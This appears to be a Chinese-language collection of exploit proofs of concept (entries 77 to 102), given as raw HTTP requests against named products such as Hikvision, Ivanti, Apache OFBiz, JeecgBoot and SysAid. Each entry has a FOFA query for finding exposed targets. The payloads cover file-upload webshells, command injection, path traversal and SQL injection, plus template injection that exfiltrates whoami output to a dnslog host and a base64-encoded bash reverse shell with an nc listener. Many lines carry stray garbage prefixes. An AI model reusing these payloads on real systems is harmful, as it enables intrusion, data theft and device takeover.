$ H6 m# Q. y; W- mPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
! C2 G) d: A% U, S  B3 J& t+ E! Z+ zHost: x.x.x.x
6 A$ B2 M, _$ z6 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 P( ?  u8 L% z& G5 K) e8 U' pConnection: close
1 I+ G) z' @1 W; j; Q# t+ kContent-Length: 433
Accept: */*
! @- X1 |, U' hAccept-Encoding: gzip, deflate
% B1 m8 V5 `5 T+ y# \% jAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
' P5 {6 Y' f8 x
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

& k5 m3 T) [0 [' O/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
& ?* {0 s$ s* ~0 r
7 v( ?/ Z: v3 F6 `: Mhello1234567
( [2 E* ]8 ~7 ?3 r0 |  ^, S4 |/ _------------398jnjVTTlDVXHlE7yYnfwBoix
. y1 @) @( |5 i5 i( uContent-Disposition: form-data; name="Upload"

Submit Query
3 Y" M1 C2 \/ \+ c/ a1 r! |; q6 _------------398jnjVTTlDVXHlE7yYnfwBoix--
* H! j. d% o, E) W
9 {" ~2 d  v1 m3 A# ^* h
9 [, v6 U4 x" F. W7 n! u% V+ h, @78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
' |+ U  g: Y$ R2 Q, CFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
$ I/ U$ x$ _* Z" t# Q; P7 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 x% X) `1 [( r. _* vContent-Length: 336
" Y& j# X8 P7 d5 [) z; VAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
) y  a4 h0 t, E3 L6 P2 h9 R7 b, j
6 w: d5 a# y9 _* z. \8 w. W------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
) ^1 |0 N4 e! k) PContent-Type: image/png
; O4 J$ u& V' u7 ]- Q& T4 L
. ^6 u% O% j$ L' W4 P" _YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
* z9 M  r. x- Q& K6 VContent-Disposition: form-data; name="target"
3 j6 m/ W9 \5 h, E; Z& ~$ l# s
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

4 I: u$ s& X2 Q) u7 \! n
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
+ x' E! Z5 u- O/ lHost: x.x.x.x
9 D7 |2 f' g8 x" d
7 ^0 B" g7 O% R8 v
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
$ w7 A; h! {; y# D# S. L; x( V1 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
9 n- V* V) S! r7 {2 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 N/ `2 W8 s1 b7 c, vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! t& j2 ?) G+ {+ x+ CConnection: close
Upgrade-Insecure-Requests: 1

" s) O9 w( A' g% a7 Z; C* K
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
1 ]  U2 `9 [  L' JFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
* G4 O: b/ s8 Y! p; x3 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
8 f- e4 ~0 P. \. u/ `) fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
& G, e; E% ]7 h: b8 c* g: NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' `$ R& I9 ?- HConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

  o: C0 y% Y4 E<% out.print("oessqeonylzaf");%>


) D; E1 |1 j1 Q/ }GET /xykqmfxpoas.jsp HTTP/1.1
& l: o2 F0 ]: [" z' S3 {/ xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ N# n8 }7 ]4 A" Y, X, ?+ lConnection: close
! D. D- N' R' n/ Q: VAccept-Encoding: gzip


3 ?* r- N) O  I* R81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" ?0 Y9 c! N- u' wFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
  s2 ]4 z: u7 u2 R% W5 y. hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
: l0 T6 ?  t% x, p  k6 Y. ~3 cFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
4 D% U3 B( E1 L0 [4 {6 zContent-Length: 23
2 K4 R" Y% D' `- l! ^Accept-Encoding: gzip
$ F/ F, e/ u5 }% f' kConnection: close
/ C' F$ M6 j  j; BContent-Type: application/x-www-form-urlencoded
+ C! ~6 Q' a. E5 W, Z+ _Referer: BaseURL
0 H7 u' H5 r9 c  k2 j5 m/ w
/ z) ?6 e! }0 Kz1=1&z2="|id;"&z3=bhost
6 h8 k, Q- O0 @
  c: Q" ]! Z+ B  P1 I" z
/ I1 [  u# b$ s83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


  S8 [- T- E4 l- m6 O% s- X1 J9 n, PPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
( ]1 E' n- L8 R* B$ K$ i! Y5 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 e8 t( q# N+ R. T6 D0 `4 Q2 oConnection: close
Content-Length: 8881
- Z* c7 B6 v5 \# d6 eAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
$ }3 y" `  w) LContent-Type: application/json

PAYLOAD
6 p% F2 f. m& s' X
5 k4 K( @  m9 C& ?: T8 m% ~0 Z( }84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
2 v' a" I" _# V  \- p8 ^
  _( f; k3 a: ?5 e& H' L. D

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
, k  V3 A9 ^6 n9 E5 bContent-Length: 156
. E! P4 X  J* r8 V5 uAccept: */*
/ g9 [9 W9 K; ]! C+ F0 BConnection: close
6 C$ W/ S3 i0 W2 v, v) e1 [Content-Type: application/json
Accept-Encoding: gzip

9 [  t. R/ n+ U/ w4 Z' j{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
; D# F$ u& ^# y) p9 i$ ~* v}
/ U* m7 D* S6 }+ d' F
! v, v8 J+ O& X& q# K2 X5 g
85. SysAid On-premise< 23.3.36远程代码执行
1 n9 r! n% l' x& j  T7 g" ]/ C" @CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
# X, T* e' f2 I" @* l( U, [POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
3 }5 r5 \3 W' c+ K9 H+ ?7 sHost: x.x.x.x
1 g% A- o( Q( Z$ x9 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) D) J% z# f3 u6 s, DContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

( r7 i0 f$ M5 _: l. E2 J; f9 I% I9 ]回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
( R$ l9 h/ a- o6 @- |Connection: close
" \6 C. Q$ j) X" GContent-Length: 44
. N) R% K* a! `/ Y# WAccept: */*
( `: ^4 Y- A6 NAccept-Encoding: gzip
- q2 o* A( C7 p0 W9 D& c9 iAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping


0 t% }$ i  F6 x1 C87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
9 P/ Z  U1 [4 fHost: X.X.X.X
1 b  @/ t  {: F1 Q5 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  T$ B" Z5 }8 ]1 |% HConnection: close
0 W8 y, B9 {0 ^/ }Content-Length: 198
Accept-Encoding: gzip
( k7 ^/ C, m4 o8 C2 @; o. u7 U2 mContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

; L7 W9 _) W, k9 n4 U1 I--qqobiandqgawlxodfiisporjwravxtvd
+ f: y; }+ v8 v' L6 r: _Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

  o9 {. V: V  j3 {" F
9 a; s1 z+ t8 Q: Q$ I/jfhatuwe.php
; t; ]7 {1 ~# r: R; f
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
3 b# [& j$ F1 q0 L- I7 ^" |2 HFOFA：title="明御安全网关"
) d/ l) \8 [8 x9 G3 ]$ n, T' E% fGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
9 s: C6 l' f! G: Q# O* W  q& pHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) o7 r8 p" U6 @& O: S6 J0 H" v3 g5 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* d# L3 M' D4 N9 v& u' vAccept-Encoding: gzip, deflate
& V* [" O6 C4 g9 b5 K4 n0 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 s1 J$ ]3 j4 F0 HConnection: close


/astdfkhl.php

- w: v2 M* p& Q% W89. 致远互联FE协作办公平台editflow_manager存在sql注入
: k& W2 r( g2 m0 m" pFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
1 h3 f5 Q8 U7 L! f. i$ J" n0 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 T% I6 W% U! C. n, w+ O, MConnection: close
' ?; B- T# W+ e2 ?. a9 UContent-Length: 41
. i0 D4 j. J: z/ W# [; tContent-Type: application/x-www-form-urlencoded
) ]; X( H1 y; E7 r+ D: IAccept-Encoding: gzip
3 o1 Y1 W6 }0 q$ {& [+ }
1 W$ O% n; r7 R; U; e0 |option=2&GUID=-1'+union+select+111*222--+
* Q# ?% o& B! K( f( u

+ R! K9 Q2 t: L90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
0 X- c/ R4 j) K) E7 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
3 I# l" Y8 ^8 n+ \% ~0 sContent-Length: 51
( N* Y' p% K2 v: x" VAccept: application/json, text/javascript, */*; q=0.01
2 D- w# C+ ?- y( pAccept-Encoding: gzip, deflate
$ m& L/ W% J3 O+ ~* X3 Y% X) k7 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* A; c- L# J8 f. AContent-Type: application/x-www-form-urlencoded
* T" T3 V9 n/ E6 Q' H: e% z! N  ~X-Requested-With: XMLHttpRequest
% x4 I% G$ N' w$ j% f. }+ g) o
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

0 f+ s2 k# ^& m1 [; c7 j
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
( M: Z2 a$ [" y$ j$ tFOFA：title="综合安防管理平台"
. E2 U- [: V2 D8 d4 V% oGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
8 i) {) n/ ~! L- ^; jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
, E' Q" {" @6 Y3 |$ `. r- W. RAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


3 x1 V" w; w2 q8 e$ `8 i' e$ K4 C
* K9 R( q, x( B( y+ V  n$ u92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
9 V) w4 s8 L/ T6 Z5 A0 y$ g- xPOST /center/api/session HTTP/1.1
( A6 b$ R  X$ E! THost:
Accept: application/json, text/plain, */*
6 B9 O- K( t6 ?' j/ e# A2 }Accept-Encoding: gzip, deflate
5 ?6 B0 S0 \5 ?  ~; g2 eX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
$ \$ Z/ q! z  [6 u3 D# xTestcmd: echo test
/ Z* |+ ]9 G& Z" u4 S+ dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
, K2 t1 U( D( A: a
2 y/ p, B. |# A6 T) cPAYLOAD
! W5 d4 N, V% q( w& s
' A$ }) r: N4 a' h8 i0 _: N
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
7 f  h( ]# u. \; P3 j/ I9 }6 ]- LHost: x.x.x.x
( ~- {  k7 n5 O  aContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
, }6 ?, P9 E: F7 Y; O3 A  OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" S8 a2 S# Y% G2 E6 J( I$ V, T
------WebKitFormBoundarykcbkgdfx
% b. _- m# c9 H' n' JContent-Disposition: form-data; name="MAX_FILE_SIZE"
8 f! D6 Q  e5 x% A+ A" V, _; z2 ^
10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
; J' ]- u: ~$ y" {/ ^* ?1 pContent-Type: text/plain

! j5 _; ]8 O6 P6 R9 r$ ~wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
7 R% o0 u' W' a- H* ]Content-Disposition: form-data; name="submit_post"
! n; q" Q  f% a! Y, I
obj_app_upfile
. y4 X# o( c9 \------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
  {: \' r3 L2 L0 {  b( A
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
2 A# b0 }2 }& l

GET /attachements/xlskxknxa.txt HTTP/1.1
0 @" E) F' J. Y# Z1 mHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
; `/ D4 [* P# a9 d& F/ n9 GPOST /?g=obj_area_import_save HTTP/1.1
* e9 h% q6 b' NHost: x.x.x.x
7 s4 {+ z1 V$ k3 i- @Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
' K( \$ W& Z7 G; Q9 E) N
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
& i9 e3 z4 F& Z' e% b* s% ^! m& t
10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
. r1 [" U8 q' ^- ZContent-Disposition: form-data; name="submit_post"
% x8 h8 P; t, Y: T- a% C
! C) @" d/ M2 E) I+ p; _, Mobj_app_upfile
( {+ T# p( \0 j9 A: _) c% D  m------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
3 Q4 e) s4 y6 x9 V( r
, \& _1 P; C2 Q  r) Y# ]0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

+ D: o. m6 Z, x7 B, z& x
" |5 r1 x  y) o
GET /attachements/xlskxknxa.txt HTTP/1.1
4 V( d* x) u1 a5 B( m* N% W1 KHost: xx.xx.xx.xx
; ^+ N# F2 a7 h4 JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


) O4 y# r$ s( i. o6 t9 n( [/ y
7 U' {- h/ U$ x+ M& Q: @% c95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
- Y! c6 T7 q# D' |% l, x" [1 eFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
$ K$ ]8 u2 N6 o3 W- A9 Q/ x) U: z4 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% T8 x; X) _/ y0 e# ?; pConnection: close
2 E+ y8 @1 L3 v- F  s( lContent-Length: 889
9 C; a) r, {0 P4 XContent-Type: application/xml
Accept-Encoding: gzip
9 Z) |: Y0 r  ^
5 g3 J  t$ U& d$ H& |0 {/ f' a<?xml version="1.0"?>
+ }0 }6 i: ~8 U* O/ v* S) ^+ ~- b% T& B<methodCall>
1 [  B5 o3 c( D# A2 V   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
3 \2 [4 p0 X: L# g       <member>
          <name>test</name>
" r! @' i& _( X' e          <value>
+ F! Q1 n' l" a( ^) a2 i& R# }& e      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
, m6 A' v2 R6 R  t8 H% [/ Q4 Y5 n2 ^        </member>
      </struct>
: P+ s* S9 c- z$ B7 p; }  Q# L% k$ K. Q" q      </value>
    </param>
9 j5 Z# j, ]6 E$ K- i% Q8 B    </params>
</methodCall>
# A' ~( I. Z/ N3 y8 t
$ i& {" E& B- C7 _. G% ]$ G. @; M
用ysoserial生成payload
% |8 }7 v4 w* Q( P& hjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
# ]$ m7 _- ?( t6 L$ M5 C( D
) Q+ Y4 z& s4 d# b2 Z
: {/ [4 V( w6 K; R& B! j& ?将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
% v" p4 Q% p* m! uHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! f1 ]1 P% t# f+ P+ n9 `Connection: close
7 u. ]( O+ V- Y3 F2 M0 wContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
7 u' G' m0 v3 A% w% V4 {( [
% D4 {7 l6 R6 i. W1 Q  WPAYLOAD
' u1 z. G8 ~3 X1 E7 n6 H2 M8 a
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ H; S8 z5 s+ d$ D! G( q+ HAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! Y+ |- `8 {4 H4 k5 U: D+ l. s; fContent-Type: application/x-www-form-urlencoded
3 b$ {+ Y3 L! }* M% H  H& l) RContent-Length: 55
! P& Q) ]4 Q% B
groovyProgram=throw+new+Exception('id'.execute().text);


* {- b% b( u9 }; P! y$ M& m' J* s反弹shell
在kali上启动一个监听
/ z! C6 `% y0 A2 L7 d* M1 a( Knc -lvp 7777
; j0 V3 V8 i; \/ A: N# H/ D
/ O) v/ K! e& w: `# Q$ o$ \, Z- dPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* ]9 x, s# ?) ]3 T, L- D2 G9 D+ R- pAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
. ]+ T3 A1 `6 m$ A9 ]  Z: `2 j
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
3 f& g9 Q$ u+ j2 S- i- xHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 W5 z( M4 i. J* S, FAccept-Encoding: gzip
4 G( q; L/ p6 A( q7 H. G+ U4 s4 BConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
9 Y, _" E$ I% W6 B! e, z& `7 U

98. SpiderFlow爬虫平台远程命令执行
7 y% |  ^: h; r; o8 H$ KCVE-2024-0195
( ?% o# j, H# q% M' t$ }+ i* fFOFA：app="SpiderFlow"
, C- r" Q! z* A! |  N$ \POST /function/save HTTP/1.1
6 p* u8 r; N! j0 NHost: 192.168.40.130:8088
' {# S1 ?+ f. jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 k* q% n% B# w7 y! X# w: R8 `- aConnection: close
  d+ e/ }2 b/ W+ o$ T) PContent-Length: 121
Accept: */*
' L' O# E/ W( f4 QAccept-Encoding: gzip, deflate
; k+ K9 D& ^# C% a4 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 N( }: I" t$ TContent-Type: application/x-www-form-urlencoded; charset=UTF-8
& e) `7 ~, l& a  q$ b; XX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

) u0 n  x) M  V2 @' x
, a1 K& X5 M/ g99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
, a9 r8 g1 z' ~2 A1 _  CPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
- X1 o, L+ X2 S5 Q1 b3 {% IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
* q: f% \8 {7 f
, \- l2 q8 p$ L' E%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

: u4 c2 _0 @" N) }  M% X
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
! d, G5 u' a" aHost: 192.168.40.130
/ U! T) p. M. C/ n4 K* _User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
  W* N9 a5 n# N3 O$ GConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
' L+ |2 o4 h8 M# j/ {0 K$ x6 ~) LAccept-Encoding: gzip

! b  X4 I5 Z7 o7 c; P9 N! F; _------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
3 w) j$ Q6 D) i; p! p
2ayyhRXiAsKXL8olvF5s4qqyI2O
3 x+ y( O. [0 P* R$ A; N. a------WebKitFormBoundarygcflwtei--

8 u1 j  w! _% f* K1 B# l* @( i' R
101. ivanti policy secure-22.6命令注入
2 s( K' q& ^# |( w! d' oCVE-2024-21887
8 k4 o$ I. x1 oFOFA：body="welcome.cgi?p=logo"
0 X! E5 g8 S2 K$ B8 P8 j4 XGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
# g' K* i* {. S. ?$ B0 JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


, f/ ?4 |4 f! S. }: A/ U0 v; C102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
' s  h9 k. q8 d2 Q. N& X. VPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
0 T0 z5 ^' l& M! zContent-Length: 792
Accept-Encoding: gzip
7 e( V) U  U. j( d8 E" x4 _2 w
